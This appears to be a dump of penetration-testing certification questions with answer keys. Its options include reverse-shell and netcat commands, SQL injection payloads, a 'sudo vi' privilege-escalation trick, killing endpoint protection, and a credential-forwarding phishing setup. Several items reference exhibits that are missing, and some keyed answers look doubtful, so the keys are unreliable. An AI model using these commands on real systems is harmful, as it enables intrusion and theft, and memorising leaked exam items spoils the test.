Dump 5 Flashcards
Which of the following documents should be consulted if a client has an issue accepting a
penetration test report that was provided?
A.
Rules of engagement
B.
Signed authorization letter
C.
Statement of work
D.
Non-disclosure agreement
Answer: C
A penetration testing firm performs an assessment every six months for the same customer. While
performing network scanning for the latest assessment, the penetration tester observes that
several of the target hosts appear to be residential connections associated with a major television
and ISP in the area. Which of the following is the most likely reason for the observation?
A.
The penetration tester misconfigured the network scanner.
B.
The network scanning tooling is not functioning properly.
C.
The IP ranges changed ownership.
D.
The network scanning activity is being blocked by a firewall.
Answer: C
After successfully compromising a remote host, a security consultant notices an endpoint
protection software is running on the host. Which of the following commands would be best for the
consultant to use to terminate the protection software and its child processes?
A.
taskkill /PID <PID> /T /F
B.
taskkill /PID <PID> /IM /F
C.
taskkill /PID <PID> /S /U
D.
taskkill /PID <PID> /F /P</PID></PID></PID></PID>
Answer: A
Which of the following is the most secure way to protect a final report file when delivering the
report to the client/customer?
A.
Creating a link on a cloud service and delivering it by email
B.
Asking for a PGP public key to encrypt the file
C.
Requiring FTPS security to download the file
D.
Copying the file on a USB drive and delivering it by postal mail
Answer: B
A local firewall is configured to drop all incoming packets with the TCP SYN or URG flags set.
Which of the following Nmap commands should a penetration tester use to scan the ports 22, 53,
80, and 443 on the target machine and get the most reliable results?
A.
nmap -sY 10.4.7.18 -Pn -p 22,53,80,443
B.
nmap -sS 10.4.7.18 -Pn -p 22,53,80,443
C.
nmap -sA 10.4.7.18 -Pn -p 22,53,80,443
D.
nmap -sT 10.4.7.18 -Pn -p 22,53,80,443
Answer: C
Which of the following Python data structures is the best way to store a group of key-value pair
objects?
A.
Arrays
B.
Lists
C.
Trees
D.
Dictionaries
Answer: D
In order to improve the security of a company, an information security officer decided to implement
multifactor authentication (MFA) technology. The company currently requires badges to access its
facilities. Which of the following additional types of physical controls should the security officer
recommend to enforce MFA?
A.
What you have
B.
Where you are
C.
What you know
D.
Who you are
Answer: C
Which of the following should penetration testers keep with them while conducting on-site security
reviews to assist with de-escalating confrontational situations?
A.
A signed statement of work
B.
A written letter of authorization
C.
Clients’ contact information
D.
Rules of engagement
Answer: B
After obtaining a reverse shell connection, a penetration tester runs the following command:
Which of the following is the fastest way to escalate privileges on this server?
A.
Editing the file /etc/passwd to add a new user with UID 0
B.
Creating a Bash script, saving it on the /tmp folder, and then running it
C.
Executing the command sudo vi -c ‘!bash’
D.
Editing the file /etc/sudoers to allow any command
Answer: C
During a penetration testing engagement, a penetration tester discovers a buffer overflow
vulnerability. Which of the following actions should the tester take to maintain professionalism and
integrity?
A.
Apply for a bug bounty reward from the manufacturer.
B.
Inform the appropriate authorities about the vulnerability before informing the client.
C.
Report the vulnerability to the client and provide recommendations for remediation.
D.
Exploit the vulnerability to demonstrate its impact to the client.
Answer: C
During a REST API security assessment, a penetration tester was able to sniff JSON content
containing user credentials. The JSON structure was as follows:
Assuming that the variable json contains the parsed JSON data, which of the following Python
code snippets correctly returns the password for the user ozzy?
A.
json[‘content’][‘password’][1]
B.
json[‘user_id’][‘password’][0][1]
C.
json[‘content’][1][‘password’][0]
D.
json[‘content’][0][‘password’][1]
Answer: C
During an assessment of a web application, a penetration tester would like to test the application
for blind SQL injection. Which of the following techniques should the penetration tester perform
next?
A.
1’ ORDER BY 1–+
B.
‘; IF (1=1) WAITFOR DELAY ‘0:0:10’–
C.
xyz’ AND ‘1’ = ‘1
D.
xyz’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE ‘a’ END)=’a)
Answer: B
A penetration tester would like to crack a hash using a list of hashes and a predefined set of rules.
The tester runs the following command:
hashcat.exe -a 0 .\hash.txt .\rockyou.txt -r .\rules\replace.rule
Which of the following is the penetration tester using to crack the hash?
A.
Hybrid attack
B.
Dictionary
C.
Rainbow table
D.
Brute-force method
Answer: A
A penetration tester discovered a vulnerability that has the following CVEs:
Which of the following CVEs should be remediated first?
A.
CVE-2007-6750
B.
CVE-2011-3192
C.
CVE-2012-2122
D.
CVE-2014-0160
E.
CVE-2017-7494
Answer: E
A penetration tester is performing DNS reconnaissance and has obtained the following output
using different dig commands:
Which of the following can be concluded from the output the penetration tester obtained?
A.
mxc.company.com is the preferred mail server.
B.
The company.com record can be cached for five minutes.
C.
The company’s website is hosted at 120.73.220.53.
D.
The nameservers are not redundant.
Answer: C
After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is
blocking outbound traffic. Which of the following commands would allow the penetration tester to
obtain an interactive shell on the remote host?
A.
bash -i >& /dev/tcp 8443 0>&1
B.
nc -e host 8443 /bin/bash
C.
nc -vlp 8443 /bin/bash
D.
nc -vp 8443 /bin/bash
Answer: C
A security engineer is working to identify all email servers on a network. Which of the following
commands should the engineer use to identify the servers as well as the software version the
servers are running?
A.
nmap 10.0.0.1/24 -sT -sV -p 25,110,143,465,993,995
B.
nmap 10.0.0.1/24 -sT -v -p 21,22,23,53,110,135
C.
nmap 10.0.0.1/24 -sS -sV -p 37,110,119,161,445,3389
D.
nmap 10.0.0.1/24 -sA -sU -p 80,110,443,209,389,464
Answer: A
During the execution of a cloud penetration test, a tester was able to gain an initial footprint on the
customer cloud infrastructure. Now the tester wants to scan the cloud resources, possible
misconfigurations, and other relevant data that could be exploited. Which of the following tools
should the tester most likely use?
A.
Nikto
B.
Recon-ng
C.
Cobalt Strike
D.
Pacu
Answer: D
A penetration tester has compromised a customer’s internal network, gaining access to a file
server that hosts email server backups. Which of the following is the best tool to assist with data
exfiltration?
A.
SFTP
B.
Nmap
C.
Netcat
D.
SCP
Answer: A
A penetration tester discovers a file, key.enc, on a shared drive and then executes the following
command, which yields the following output:
Which of the following are the best recommendations for the penetration tester to suggest?
(Choose two).
A.
Implementing password management
B.
Switching to using DSA keys
C.
Using stronger encryption for private key files
D.
Deleting unencrypted files from the share
E.
Disabling the openssl command
F.
Initiating key rotation
Answer: A,F
A penetration tester compromised a system and wants to connect to a port on the system from the
attacking machine in order to control the system. Which of the following commands should the
tester run on the compromised system?
A.
nc 10.0.0.1 5555
B.
nc 127.0.0.1 -e /bin/bash
C.
nc localhost 5555
D.
nc -nvlp 5555 - bin/bash
Answer: A
For a penetration test engagement, a security engineer decides to impersonate the IT help desk.
The security engineer sends a phishing email containing an urgent request for users to change
their passwords and a link to https://example.com/index.html. The engineer has designed the
attack so that once the users enter the credentials, the index.html page takes the credentials and
then forwards them to another server that the security engineer is controlling. Given the following
information:
Which of the following lines of code should the security engineer add to make the attack
successful?
A.
window.reload ()
B.
crossDomain: true
C.
geturlparameter(‘username’)
D.
redirectUrl = ‘https://example.com’
Answer: B
An organization is using Android mobile devices but does not use MDM services. Which of the
following describes an existing risk present in this scenario?
A.
Device log facility does not record actions.
B.
End users have root access by default.
C.
Unsigned applications can be installed.
D.
Push notification services require internet.
Answer: C
A penetration tester wants to perform a SQL injection test. Which of the following characters
should the tester use to start the SQL injection attempt?
A.
Colon
B.
Double quote mark
C.
Single quote mark
D.
Semicolon
Answer: C
